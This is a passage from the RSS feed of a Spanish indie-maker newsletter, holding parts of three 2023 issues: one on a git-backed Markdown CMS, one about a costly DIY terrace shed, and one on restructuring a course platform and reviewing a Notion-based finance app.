<i>rich-text</i> es Markdown. E incluso soporta MDX con componentes personalizados. Una fantasía.</p></li><li><p class="paragraph" style="text-align:left;"><b>El contenido, en </b><code>git</code>. Esta me explota la cabeza. El cloud no guarda nada. Lo que hace es <b>commits a tu propio repo</b>. Configuras dónde van a parar los <code>.md</code>s y se encarga de guardar los cambios. Y tu pipeline habitual de despliegue se encarga de subirlo a producción.</p></li><li><p class="paragraph" style="text-align:left;"><b>Previews</b>. Y editor visual, como en Wordpress. Porque esto es lo primero que piensas cuando te dicen que el contenido está en <code>git</code>. ¿Cómo hago previews? ¿Drafts? Pues se puede. Tu código no lee directamente los ficheros markdown, sino que habla con una API GraphQL. Así que cuando estás editando, con algo de magia, te renderiza el resultado final <i>in-situ</i>, sin tener que hacer el commit. Una virguería.</p></li></ul><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/61212dc5-8f25-4fd9-9a42-5665e03a59fe/Screenshot_2023-08-29_at_23.10.16.png"/></div><p class="paragraph" style="text-align:left;">La verdad es que todavía no he rascado ni la mitad de lo que puede hacer este software. Pero me convence. Si vives en el mundo 100% React y estás acostumbrado a cómo se trabaja, te cuadrará. Tanto para un blog como para contenido textual más complicado (añadiendo widgets con MDX <i>inline</i>) e incluso para webs de contenido arbitrario. Iba a poneros un GIF pero me han salido cuarenta megas, así que mejor os pongo un enlace a una demo. Dadle un segundo para cargar. Mola mucho, en serio.</p><p class="paragraph" style="text-align:left;"><a class="link" href="https://quick-edit-demo.vercel.app/admin?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=47-nick-casi-decapitado" target="_blank" rel="noopener noreferrer nofollow">https://quick-edit-demo.vercel.app/admin</a></p><p class="paragraph" style="text-align:left;">Como dicen los gurús, <i>echadle un ojo, que está eeeestupendo</i>.</p><p class="paragraph" style="text-align:left;">Y para cerrar el tema, las cosas malas. Que es una: es <i>muuuy</i> developer-first. A ver, el editor no, una vez configurado es perfectamente usable para cualquier persona. Pero la configuración y la integración con tu blog es… <i>durilla</i>. Hay que tener los huevos <i>pelaos</i> y haberte pegado con abundante software a medio cocer y creativamente documentado. Como éste.</p><p class="paragraph" style="text-align:left;">En especial porque tiene soporte <i>first-party</i> para Next.js, pero el router antiguo en <code>/pages</code> y no el nuevo y molongo en <code>/app</code>. Que no se parece en nada absolutamente.</p><p class="paragraph" style="text-align:left;">Pero lo he hecho funcionar. Y me siento tan orgulloso que me dan ganas de hacer un mini-curso y todo. Igual es cuestión de aprovechar para hacer <i>dogfooding</i> de <a class="link" href="http://courses.so?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=47-nick-casi-decapitado" target="_blank" rel="noopener noreferrer nofollow">courses.so</a>, ¿no?</p><h1 class="heading" style="text-align:left;">👋 Y hasta aquí</h1><p class="paragraph" style="text-align:left;">Esto es todo por hoy. Para cerrar la edición un poco de chascarrillo del sector.</p><p class="paragraph" style="text-align:left;"><b>AWS, vamos, Amazon, ha comprado </b><a class="link" href="http://fig.io?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=47-nick-casi-decapitado" target="_blank" rel="noopener noreferrer nofollow"><b>fig.io</b></a>. Para los que no lo conozcáis, una herramienta que aumenta tu terminal con un automplete en plan flipante. Y de paso hace telemetría a granel y te roba los datos. ¿Por qué lo comento? Porque, ¿para qué querrá AWS comprar eso? ¿Es puro <i>acqui-hire</i>? Todo muy raro. <a class="link" href="https://news.ycombinator.com/item?id=37296401&utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=47-nick-casi-decapitado" target="_blank" rel="noopener noreferrer nofollow">Os dejo link a Hacker News donde la gente elucubra sobre el tema</a>. El caso es que empezaron en 2021 y ahora están forrados. Mucha envidia. Ah, y mucho miedo de Amazon así que lo primero que he hecho ha sido borrar la app.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/e95409b6-5061-44b4-a92d-b429ad1b220c/Screenshot_2023-08-29_at_23.20.49.png"/></div><p class="paragraph" style="text-align:left;">Si la usáis, planteároslo.</p><p class="paragraph" style="text-align:left;">Espero que hayáis disfrutado de la lectura ligera. La semana que viene más #BuildInPublic (o tal vez #PlanningInPublic) y hablaremos también del mundillo este de crear contenido. Porque está la cosa poniéndose fea.</p><p class="paragraph" style="text-align:left;">Y os hablaré también de mi impresora. Que todavía no me ha llegado. Llega mañana. Pero ya adelanto que me dará que hablar. Para empezar me ha costado más que el teléfono.</p><p class="paragraph" style="text-align:left;">Más que otras impresoras que le sacan <i>una dimensión</i> a ésta.</p><p class="paragraph" style="text-align:left;">¿Locura o compra magistral?</p><p class="paragraph" style="text-align:left;">En siete días, el desenlace.</p><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=a9e1fded-40ec-4039-973f-c834d36d7b9c&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#46 - Lo barato sale caro</title>
  <description>Newsletter de mantenimiento veraniego</description>
  <link>https://cuento.beehiiv.com/p/46-lo-barato-sale-caro</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/46-lo-barato-sale-caro</guid>
  <pubDate>Wed, 23 Aug 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-08-23T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">Hoy es una de esas newsletters que se me ha ido la olla y el mismo martes antes de salir me he acordado de que tengo que escribirla.</p><p class="paragraph" style="text-align:left;">Estoy oficialmente de depresión post-vacacional y no sé ni por dónde me va a salir el tiro.</p><p class="paragraph" style="text-align:left;">Abróchense los cinturones. No prometo nada.</p><p class="paragraph" style="text-align:left;">Bueno, sí. Prometo poco y mal. Pero mira, al menos te entretienes mientras de comes el bocadillo.</p><h1 class="heading" style="text-align:left;">🛠️ Reventarse dedos a martillazos</h1><p class="paragraph" style="text-align:left;">Me he acordado de la newsletter mientras iba en el coche. ¿A dónde, preguntarás? Pues al Lidl. ¿A qué Lidl?</p><p class="paragraph" style="text-align:left;">A todos.</p><blockquote align="center" class="twitter-tweet"><a href="https://twitter.com/lidlespana/status/1687041367124631553?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=46-lo-barato-sale-caro"><p> Twitter tweet </p></a></blockquote><p class="paragraph" style="text-align:left;">Me he recorrido todos los Lidls de la zona buscando una sierra circular. Una de esas que se parece al lanza discos del Unreal Tournament, pero sin lanzarlos, y que en lugar de decapitar se limita a cortarte los dedos.</p><iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="true" class="youtube_embed" frameborder="0" height="100%" src="https://youtube.com/embed/xWhnIZL0rm0" width="100%"></iframe><p class="paragraph" style="text-align:left;">He ido porque resulta que fui el otro día por pasar el rato y me compré (y compré por pura ansia envidiosa también a mi socio Miquel) varias mierdas de bricolaje. Vi que había un montón de herramientas nuevas y ahora resulta que me hace falta una sierra.</p><p class="paragraph" style="text-align:left;">¿Y para qué me hace falta la sierra?</p><p class="paragraph" style="text-align:left;">Cuantas preguntas, ¿no? Menos mal que son todas retóricas porque a mi me da igual lo que tu quieras o dejes de querer saber.</p><p class="paragraph" style="text-align:left;">Yo te lo explico y punto.</p><p class="paragraph" style="text-align:left;">Resulta que necesito una sierra para cortar unas maderas. Unos tablones. Yo tenía una sierra de calar (que las odio, por cierto) pero me ha desaparecido misteriosamente. Y tengo tres o cuatro sierras y serruchos de mano, pero para cortar dos metros de tablón a lo largo casi que no. Lo intenté ayer y en lugar de un corte parece más bien un <i>bocao</i>.</p><p class="paragraph" style="text-align:left;">Y pregunta final: ¿para qué son los tablones?</p><p class="paragraph" style="text-align:left;">Para hacerme un tejado/caseta en la terraza y dejar mierdas abajo sin que les dé el <i>solapio</i>.</p><p class="paragraph" style="text-align:left;">Resulta, de nuevo, que llevo desde el jueves pasado en un bucle inescapable de tres estados mentales:</p><ul><li><p class="paragraph" style="text-align:left;">Hacer bricolaje en casa</p></li><li><p class="paragraph" style="text-align:left;">Explorar todos los pasillos de los <i>leroymerlines</i>, <i>bricomovidas</i> y <i>lídeles</i> cercanos buscando movidas que me faltan</p></li><li><p class="paragraph" style="text-align:left;">Jugar al Zelda en la Super Nintendo.</p></li></ul><p class="paragraph" style="text-align:left;">También trabajar y verme todas las pelis de John Wick, pero eso ya no es tan interesante.</p><p class="paragraph" style="text-align:left;">Lo del bricolaje es porque llevo acumuladas varias movidas de estas de <i>ya lo hago un día de estos</i>. Algunas eran más o menos fáciles, poner un par de ventiladores, cablear el internet para cambiar el router de sitio. Cosillas. También tenía que arreglar el desagüe del aire acondicionado pero en este caso he fracasado estrepitosamente e inundado una habitación en el proceso así que mejor no lo comento.</p><p class="paragraph" style="text-align:left;">Lo que sí comento es el premio gordo que era, originalmente, comprar una caseta de madera o de resina para meter todo tipo de mierdas que tengo dando tumbos por casa bien escondiditas en la terraza. El drama es que por una caseta de mierda que no sea de chapa grosor papel de Albal te soplan 600 pavos fáciles. Y además el tamaño es el que es, nada de personalizado, que para mí es un drama adicional porque necesito embutirla en un rincón concreto.</p><p class="paragraph" style="text-align:left;">Así que con mi espíritu emprendedor y buscando el ahorro decidí hacerlo yo mismo. Claro que sí.</p><p class="paragraph" style="text-align:left;">En conclusión llevo desde el jueves y metidos 448,73€ y por ahora tengo dos postes y dos vigas atornilladas a una pared.</p><p class="paragraph" style="text-align:left;">En el proceso he tenido que rehacer tres anclajes por comprar un taco químico que no era el correcto, he tenido que comprar cemento y reparar un muro que reventé por meter unos tacos tan extremos que hicieron explotar el tabique y varias bricoaventuras más.</p><p class="paragraph" style="text-align:left;">Y encima ahora unos tablones no me caben en su sitio y me va a tocar gastarme otros setenta pavos en una sierra chichanábica del Lidl porque ya te digo que si me compro <a class="link" href="https://amzn.to/3R6Dln5?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=46-lo-barato-sale-caro" target="_blank" rel="noopener noreferrer nofollow">una de una marca seria</a> los números ya se me van de madre <i>too much</i>.</p><p class="paragraph" style="text-align:left;">El caso, que me voy a gastar lo mismo que si hubiese comprado la caseta y me habrá costado el triple de tiempo y sudor.</p><p class="paragraph" style="text-align:left;">Pero como el que no se consuela es porque no quiere diré que al menos haciéndolo yo tendré varias toneladas de tornillos sobrantes y litros de barniz absurdo que acumular. Y podré enseñar el resultado a los colegas y decir eso de <i>sí, es nada, lo hice en un rato, me costó cero</i>.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/f1b63e6c-20ab-4e3f-8a18-56d1f54a4897/grill-simpsons.gif"/></div><p class="paragraph" style="text-align:left;">Ah, y la guinda de todo esto, cuando estaba comprando madera en el Leroy Merlin me dejé el metro, el <i>flexómetro</i>, encima de unos tablones, y cuando volví escaso minuto después ya me lo habían chorizado.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/70322336-08da-45a3-8870-24bb5716a0f3/IMG_8776.JPG"/></div><h1 class="heading" style="text-align:left;">📉 No viviendo del cuento</h1><p class="paragraph" style="text-align:left;">Ahora que ya me he relajado contándoos mis mierdas del bricolaje voy a lo que se supone que va la newsletter que es de eso de hacer cosas.</p><p class="paragraph" style="text-align:left;">Pues no he hecho nada. Mirad lo del ciclo que he puesto antes. No está ahi <i>hacer cosas</i>. Está trabajar, eso sí, he trabajado por dinero como buen proletario y ya está.</p><p class="paragraph" style="text-align:left;">No he avanzado nada de lo que tenía que hacer con <a class="link" href="http://courses.so?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=46-lo-barato-sale-caro" target="_blank" rel="noopener noreferrer nofollow">courses.so</a>. No me ha dado la vida, tenía que pasarme el puto gusano de la tercera <i>dungeon</i> del Zelda.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/1604193a-1bac-4579-a561-12e1ab63e7d0/Location_of_Moldorm.png"/></div><p class="paragraph" style="text-align:left;">De <a class="link" href="http://sync.banco.surf?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=46-lo-barato-sale-caro" target="_blank" rel="noopener noreferrer nofollow">sync.banco.surf</a> lo mismo. Me chivaron que la página de <i>gracias por suscribirte</i> estaba rota y lo arreglé. Se han suscrito tres personas. Menos da una piedra.</p><p class="paragraph" style="text-align:left;">Y mañana cojo el coche y me voy a Barcelona con la familia, así que mira, parece que nos vemos en septiembre. Qué se le va a hacer.</p><h1 class="heading" style="text-align:left;">👋 Suficiente</h1><p class="paragraph" style="text-align:left;">Y hasta aquí esto. Acostumbrados a las últimas newsletters quilométricas tal vez se os ha hecho corta. O se os ha hecho larga por ser una puta mierda.</p><p class="paragraph" style="text-align:left;">Es lo que tiene el verano, chavalada. Que altera la sangre. Mentira, no, eso es la primavera. ¿Qué tiene el verano? ¿Salmonela en la ensaladilla? No sé.</p><p class="paragraph" style="text-align:left;">Da igual.</p><p class="paragraph" style="text-align:left;">Que no me da la cabeza para más, señorías.</p><p class="paragraph" style="text-align:left;">Se levanta la sesión.</p><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=648409d8-c07d-46a0-942f-f1c62efd7607&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#45 - Declaración de intenciones</title>
  <description>Retomando proyectos, empezando nuevos, comiendo ostras</description>
  <link>https://cuento.beehiiv.com/p/45-declaracion-de-intencione</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/45-declaracion-de-intencione</guid>
  <pubDate>Wed, 16 Aug 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-08-16T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;"></p><p class="paragraph" style="text-align:left;">Buenos miércoles y de nuevo bienvenidos y bienvenidas al hogar de los cuentistas donde nos juntamos los que sabemos que la universidad es para emborracharse, los meetups técnicos son para emborracharse, los hackatones son para emborracharse y no, las newsletters no son para emborracharse. Son para echarse unas risas.</p><p class="paragraph" style="text-align:left;">O en su defecto aprender algo. Qué remedio.</p><p class="paragraph" style="text-align:left;">Al lío.</p><h1 class="heading" style="text-align:left;"><i>We are so back </i>🚀</h1><p class="paragraph" style="text-align:left;">No, no se ha confirmado la <a class="link" href="https://en.wikipedia.org/wiki/LK-99?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=45-declaracion-de-intenciones" target="_blank" rel="noopener noreferrer nofollow">superconductividad a temperatura ambiente</a> todavía. Pero ha ocurrido algo que para mi era también importante: aclarar cosas.</p><p class="paragraph" style="text-align:left;">En particular en lo que se refiere a <a class="link" href="http://courses.so?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=45-declaracion-de-intenciones" target="_blank" rel="noopener noreferrer nofollow">courses.so</a>.</p><p class="paragraph" style="text-align:left;">Ya os he comentado más de una vez lo que el proyecto no tenía demasiada salida en su forma actual. Venderlo no ha funcionado y organizarnos Toni y yo, tampoco. Se presentaba como un grano en el culo que te jode la vida pero resulta que tiene forma de Bart Simpson y te da pena curártelo. Metáfora rara, lo sé, pero creo que se entiende. No nos daba nada pero no queríamos abandonar su <i>potencial potencial</i>.</p><p class="paragraph" style="text-align:left;">Sin volver a entrar en la situación del software en sí, los problemas de organización veo, a toro pasado, que han sido claramente fuente de la desigual responsabilidad que aparece naturalmente si uno de los dos socios se encarga de la parte técnica. En resumen, resulta que la parte técnica es una proporción inmensa de la <a class="link" href="https://dle.rae.es/faena?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=45-declaracion-de-intenciones" target="_blank" rel="noopener noreferrer nofollow">faena</a> necesaria, tal vez no para el mantenimiento diario, pero si para el empujón que hace falta ahora mismo para reconducir el asunto.</p><p class="paragraph" style="text-align:left;">La única idea que se me ocurría era simple: no nos repartimos nada. Uno de los dos hace 100%, el otro cobra <i>X%</i> durante tiempo <i>T</i> como compensación. Todavía creo que sería una solución válida, pero desprenderse es difícil y a ninguno de los dos nos apetecía especialmente. Sin resolver el qué hacer, el proyecto quedaba en situación de bloqueo, <i>churneando</i> que da gusto y con clientes descontentos. Y 0% de conversión a plan de pago, obviamente.</p><p class="paragraph" style="text-align:left;">Y cuando un equipo se encuentra en una situación de bloqueo, debe necesariamente acudir a una mediación. En nuestro caso en forma de dos botellas de blanco de Merseguera regando una docena de ostras que despachamos junto a tapas y bocadillos varios durante ocho horas hasta resolver la cuestión.</p><p class="paragraph" style="text-align:left;">La conclusión: <i>que lo haga otro</i>. Yo me encargaré de infra, mailings y redes sociales. Mi socio de soporte, coordinación y backlog. Y del desarrollo se encargarán los billetes 🫰. Vamos, que pagaremos a alguien para que lo haga.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/7fbd45b6-2539-44a6-affe-6b26e36eefff/alfredo-duro-2.gif"/></div><p class="paragraph" style="text-align:left;">Nuestros objetivos inmediatos serán simples:</p><ol start="1"><li><p class="paragraph" style="text-align:left;">Resolver los problemas existentes con el software. Corregir errores, mejorar la trazabilidad y el reporting de éstos.</p></li><li><p class="paragraph" style="text-align:left;">Rehacer por completo el proceso de onboarding, dejando mucho más claro al usuario, en cada paso, qué debe hacer y cuales son las funcionalidades disponibles.</p></li><li><p class="paragraph" style="text-align:left;">Convertir. Convertir. Convertir. Tenemos más de 500 usuarios en el plan gratuito. Algunos no lo usarán, otros sí. Visibilizaremos esto y buscaremos que pasen al plan de pago tantos como sea posible.</p></li><li><p class="paragraph" style="text-align:left;">Compartir. Compartir. Compartir. Voy a dedicarme a hacer bombo online y a ir explicando todo lo que hacemos para atraer más tráfico.</p></li></ol><p class="paragraph" style="text-align:left;">Veremos. No será fácil. Con el dinero que pensamos invertir, incluso logrando hacer cross-selling y convirtiendo un 5% de usuarios existentes, no recuperaremos la inversión en un tiempo largo. Pero hay que probar.</p><p class="paragraph" style="text-align:left;"><i>Era eso o cerrar</i>.</p><h1 class="heading" style="text-align:left;">🏦 Mi dinero en Notion — O no 🤯</h1><p class="paragraph" style="text-align:left;">Cuando llega final de trimestre se me hace de noche. Impuestos.</p><p class="paragraph" style="text-align:left;">A ver, no tanto, la verdad, porque ya le tengo el <i>truquillo</i> pillado. Pero un poco sí. Tengo la suerte de pagar una gestoría de las que te lo hacen fácil. Yo les envío facturas de gastos e ingresos y ya se lo miran ellos para hacerme los formularios y papeleos oportunos. Está bien. Pero tengo que encontrar dichas facturas. Hurgando en emails, buscando en el Drive, escaneando de una pila aleatoria en algún lugar de mi casa.</p><p class="paragraph" style="text-align:left;">Obviamente visibilidad tengo entre poca y ninguna. Como soy un miserias pues tampoco pasa nada, pero bueno. Digamos que mi sistema no es ideal.</p><p class="paragraph" style="text-align:left;">Uno de los problemas es que, como me conozco, no me fío de mi mismo ni de lo que apunto. Y me veo obligado a mirar en todas las cuentas bancarias <b>todos los movimientos</b> no sea que me deje algo que compré que puedo desgravarme y no me he acordado. Y es lento y pesado.</p><p class="paragraph" style="text-align:left;">Hace tiempo que llevo intentado resolver esto sincronizando (con <a class="link" href="http://banco.surf?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=45-declaracion-de-intenciones" target="_blank" rel="noopener noreferrer nofollow">banco.surf</a>) mis cuentas con Airtable. Esto junto a Coda para facturas y Make como pegamento entre todo funciona más o menos.</p><p class="paragraph" style="text-align:left;">Pero me sigo sin fiar. No es una buena solución. Es demasiado casera. Demasiada brida y pegamento.</p><p class="paragraph" style="text-align:left;">Por suerte la semana pasada nuestro querido lector <a class="link" href="https://twitter.com/peces?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=45-declaracion-de-intenciones" target="_blank" rel="noopener noreferrer nofollow">Juan</a> nos apuntó hacia <a class="link" href="https://magicbeans.app?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=45-declaracion-de-intenciones" target="_blank" rel="noopener noreferrer nofollow">MagicBeans</a> y yo ya me encargué de babear profusamente mirándome las screenshots, así que vamos a probarlo. Como pobre de solemnidad que soy ya me duelen los $25 que cuesta el plan Pro. Pero qué remedio.</p><p class="paragraph" style="text-align:left;">Voy a <a class="link" href="http://magicbeans.app?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=45-declaracion-de-intenciones" target="_blank" rel="noopener noreferrer nofollow">magicbeans.app</a> y le doy al botón de <i>get started</i>.</p><p class="paragraph" style="text-align:left;">Primer tropiezo. Resulta que hay que darle acceso a <i>algo</i> en tu Notion. A alguna página. Pero eso tú no lo sabes. Si le das a <i>siguiente</i> y punto el paso posterior, que es cuando creará las páginas y tablas necesarias, no te deja avanzar.</p><p class="paragraph" style="text-align:left;">Te sale un pequeño link donde te invita a dar acceso a más páginas.</p><p class="paragraph" style="text-align:left;">No pasa nada, creo una página “MagicBeans” en mi Notion y le doy al link. Me sale de nuevo el diálogo de dar acceso, se lo doy y <i>siguiente</i>.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/7c629923-96ab-4e8f-993f-f2d28829fab7/Screenshot_2023-08-09_at_17_15_53.png"/></div><p class="paragraph" style="text-align:left;">💥 Woops, por haber ido para atrás y no seguir el flujo “estándar” ahora he ido a parar a la página de configuración de mi cuenta. ¿¿Dónde está el onboarding??</p><p class="paragraph" style="text-align:left;">Ha desaparecido. Salgo de los settings y me lleva directo al dashboard, sin datos. </p><p class="paragraph" style="text-align:left;">No hay forma de volver al onboarding 🤷‍♂️.</p><p class="paragraph" style="text-align:left;">Ni tampoco de que me regenere las páginas en Notion 😭.</p><p class="paragraph" style="text-align:left;">Me planteo tratar de borrar mi cuenta. Por desgracia, no hay botón de borrar cuenta. ¿Y si desconecto desde Notion? No me la voy a jugar de esa manera a medio <i>review</i>.</p><p class="paragraph" style="text-align:left;">Les envío bug report y cambiamos de estrategia.</p><p class="paragraph" style="text-align:left;">Vamos a <i>fake it til you make it</i>.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/b50c5b6b-72c7-4b67-a880-4067e5b44746/Screen_Recording_2023-08-09_at_17.23.35.gif"/></div><p class="paragraph" style="text-align:left;">Veo cosas. Vale. Gráficos vistosos, transacciones de mentira. Pero yo lo que quiero ver es la UX de añadir facturas y de sincronizar con el banco.</p><p class="paragraph" style="text-align:left;">Mala suerte. En el modo <i>demo</i> no se pueden crear facturas, no se pueden asociar cuentas bancarias, no se puede hacer mucho más que ver números bonitos.</p><p class="paragraph" style="text-align:left;">En este punto entro en un bucle de probar cosas, copiar la página de Notion a mano, intentar meterlo con calzador… y nada. Vueltas y vueltas. Me empieza a dar pereza todo el proceso.</p><p class="paragraph" style="text-align:left;">Por suerte Iván me devuelve la esperanza respondiendo a mi bug report escasos minutos después de haberlo enviado. <i>Olé</i>.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/e805eed5-5359-4c47-9f9a-6838bec5bb45/Screenshot_2023-08-09_at_17.44.20.png"/></div><p class="paragraph" style="text-align:left;">Un par de back-and-forth para resolver el tema (pasando por meterle un tiro en la sien a mi cuenta como a una mula coja) y finalmente puedo probar el sistema.</p><h2 class="heading" style="text-align:left;">📄 El resumen</h2><p class="paragraph" style="text-align:left;">MagicBeans es <b>realmente Notion-first</b>. La app es una interfaz <i>inferior</i> a usar Notion en sí mismo, y eso es así intencionadamente. Los widgets y gráficos que encuentras en la App los tienes también como <i>embeds</i> dentro de Notion.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/e4afe9b9-0efb-41e8-9bd4-9ed972851c08/collage-tools.rtf.cc-2023-8-9-21-18-53.png"/><div class="image__source"><span class="image__source_text"><p>Izquierda, la App. Derecha, en Notion. 🤯.</p></span></div></div><p class="paragraph" style="text-align:left;">Sin embargo Notion tiene limitaciones inherentes. Como las facturas están hechas de líneas, para editar cada una se sigue el flujo que seguirías con cualquier otra relación many-to-many.</p><p class="paragraph" style="text-align:left;">No es cómodo. Lo siento. Está bien si tu vida está en Notion y lo haces todo a través de Notion. Pero si esperas algo de UX pulida, no es esto.</p><p class="paragraph" style="text-align:left;">Esta será la temática recurrente en mi experiencia.</p><p class="paragraph" style="text-align:left;">La app te lo intenta solucionar con una UI de edición de facturas que no está mal, pero… no sé. No me acaba. Básicamente:</p><ul><li><p class="paragraph" style="text-align:left;">Todo se edita en Notion. Le das click a lo que sea y te lleva a la página de Notion. Pero no al campo concreto. Por ejemplo, si edito el <i>Due Date</i> me lleva a la página de la factura… y he de ver yo cuál es la propiedad que corresponde.</p></li><li><p class="paragraph" style="text-align:left;">Al mismo tiempo hay un sidebar de <i>database Settings</i> cuando estás viendo un invoice que te permite configurar de dónde sale cada dato. Pero es muy confuso y puedes descoyuntártelo todo con pasmosa facilidad.</p></li><li><p class="paragraph" style="text-align:left;">Se puede crear una Factura desde la app, y también una (¡y sólo una!) línea. Cualquier otra manupulación la haces desde Notion.</p></li><li><p class="paragraph" style="text-align:left;">La API de Notion es lenta. Y por tanto la app es lenta. La sincronización a veces es automágica. A veces, no 🤷‍♂️.</p></li></ul><p class="paragraph" style="text-align:left;">Os dejo un video para que veáis el flow:</p><iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="true" class="youtube_embed" frameborder="0" height="100%" src="https://youtube.com/embed/02XRZfa_-VE" width="100%"></iframe><p class="paragraph" style="text-align:left;">Si la funcionalidad de facturas es básicamente usar Notion, entonces, ¿para qué necesitamos pagar a esta gente? Hay miles de plantillas para llevar tus finanzas en Notion.</p><p class="paragraph" style="text-align:left;">Pues en principio la gracia está en estas cuatro cosas:</p><ul><li><p class="paragraph" style="text-align:left;">Generar los PDFs — <b>Malo</b> 👎 Esta funcionalidad está implementada básicamente con el <i>imprimir</i> del navegador y algunos ajustes CSS. Muy pobre.</p></li><li><p class="paragraph" style="text-align:left;">Centralización de <i>transacciones</i> — <b>Flojo</b> 👎 Una tabla en Notion con transacciones, que son entradas y salidas de dinero. No tiene más. No se relacionan con facturas por defecto, no se asocian transacciones de ingreso con <i>tus</i> facturas. Esta funcionalidad no está en la app por ningún lado, excepto para alimentar los dashboards con estadísticas. <b>Quiero recordar la temática recurrente: es una aplicación </b><i><b>Notion-first</b></i><i>. </i>Pero ser Notion-first implica que el 95% del valor está en Notion y en tener una buena <i>template</i>. La app aporta poco, <i>by design</i>. Este es el aspecto de esta tabla:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/6a14b846-c63e-4b3b-9559-4c7c3e58bfdf/Screenshot_2023-08-15_at_15.35.41.png"/></div></li><li><p class="paragraph" style="text-align:left;">Estadísticas — <b>Bueno 👍</b> Muy visual. Te muestra <i>revenue</i>, gastos, MRR, <i>burn rate</i>, <i>runway</i> y un desglose de <i>P&L</i> bastante vistoso. Eso sí, todas las estadísticas mínimamente potentes son del plan Pro. Y por desgracia para ellos, no son nada que no puedas hacerte en Excel en un par de horas.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/372d666b-d757-4186-8ce8-55ce1ce6b180/Screenshot_2023-08-15_at_15.39.50.png"/></div></li><li><p class="paragraph" style="text-align:left;">Conexión con Banco — 